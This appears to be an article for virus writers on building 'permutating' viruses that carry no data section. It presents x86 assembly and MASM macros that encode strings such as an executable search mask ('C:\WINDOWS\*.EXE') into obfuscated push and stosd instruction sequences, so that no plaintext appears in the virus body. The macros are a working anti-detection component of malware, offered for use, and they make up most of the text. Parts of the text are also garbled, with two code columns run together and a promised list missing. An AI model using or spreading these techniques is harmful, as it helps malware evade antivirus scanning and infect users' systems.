Permutating virus is a virus, rebuilding its body on the assembly instructions level. Instead of metamorphic, permutating virus does not generates new "logic" instructions, but modifies existing. So, there appears a question about using data in such virus.
Because instructions and their lengths are modified, there will be some buffer, where the virus body is located and changed, from copy to copy.
So, there are possible two variants:
The second variant is better, as i think. It has the following features: each virus copy is only some code buffer, w/o data at all; data is divided into parts, and each of them is generated when needed. The only problem is that code, generating this data will use a bit more space than data itself.
Now, lets imagine that we're writing virus under the following condition: virus can contain only code. And we wanna build the following string: "C:\WINDOWS\*.EXE",0.
There are two common ways to do it:
1. 2. lea edi, temparea push 0 mov eax, "W\:C" push "EXE." stosd push "*\SW" mov eax, "ODNI" push "ODNI" stosd push "W\:C" mov eax, "*\SW" ; *ESP = data stosd ... mov eax, "EXE." add esp, 20 stosd xor eax, eax stosd ; temparea = data
And there is two problems. First, 4-byte parts of this string will be in plain form in the code, which is not good. Second, when there are lots of data it will be hard to write such code yourself.
So, we need macro to xlate data into encrypted code. These macros are shown in the end of this text. The results of their work is below:
BEFORE lea edi, temparea x_push ecx, C:\WINDOWS\*.EXE~ x_stosd C:\WINDOWS\*.EXE~ nop x_pop AFTER BFxxxxxxxx mov edi,0xxxxxxxx 33C9 xor ecx,ecx 33C0 xor eax,eax 81E900868687 sub ecx,087868600 2DBDC5A3A8 sub eax,0A8A3C5BD 51 push ecx AB stosd 81F12E3F213D xor ecx,03D213F2E 350A741818 xor eax,01818740A 51 push ecx AB stosd 81C1290E04E5 add ecx,0E5040E29 050E0518DB add eax,0DB18050E 51 push ecx AB stosd 81F11E1D1865 xor ecx,065181D1E 357916046F xor eax,06F041679 51 push ecx AB stosd 81E90614E8F7 sub ecx,0F7E81406 2D2ECD0111 sub eax,01101CD2E 51 push ecx AB stosd 90 nop 8D642414 lea esp,[esp]
And here is the macros:
x_stosd_first macro _eax = 0 xor eax, eax endm x_stosd_next macro t, x if t eq 0 sub eax, _eax - x endif if (t eq 1) or (t eq 3) xor eax, _eax xor x endif if t eq 2 add eax, x - _eax endif _eax = x stosd endm x_stosd macro x x_stosd_first j = 0 s = 0 t = 0 irpc c,
k = "&c" if k eq "~" k = 0 endif j = j + k shl s s = s + 8 if s eq 32 x_stosd_next t,j t = t + 1 if t eq 4 t = 0 endif j = 0 s = 0 endif ; i eq 4 endm ; irpc if s ne 0 j = (j + 12345678h shl s) and 0ffffffffh x_stosd_next t,j endif endm ; x_stosd x_push_first macro r xor r, r _reg = 0 endm x_push_next macro q, r, x if q eq 0 sub r, _reg - x endif if (q eq 1) or (q eq 3) xor r, _reg xor x endif if q eq 2 add r, x - _reg endif push r _reg = x endm x_push macro r, x x_push_first r _xsize = 0 l = 0 irpc c, l = l + 1 endm j = 0 s = 0 l0 = l if (l0 and 3) ne 0 j = j shl 8 + "x" s = s + 8 l0 = l0 + 1 endif if (l0 and 3) ne 0 j = j shl 8 + "y" s = s + 8 l0 = l0 + 1 endif if (l0 and 3) ne 0 j = j shl 8 + "z" s = s + 8 l0 = l0 + 1 endif q = 0 i = l - 1 irpc c1, t = 0 irpc c, if t eq i j = j shl 8 if "&c" ne "~" j = j + "&c" endif s = s + 8 if s eq 32 _xsize = _xsize + 4 x_push_next q,r,j q = q + 1 if q eq 4 q = 0 endif s = 0 j = 0 endif exitm endif t = t + 1 endm l irpc i = i - 1 endm ; irpc if s ne 0 error endif endm ; x_push x_pop macro lea esp, [esp + _xsize] endm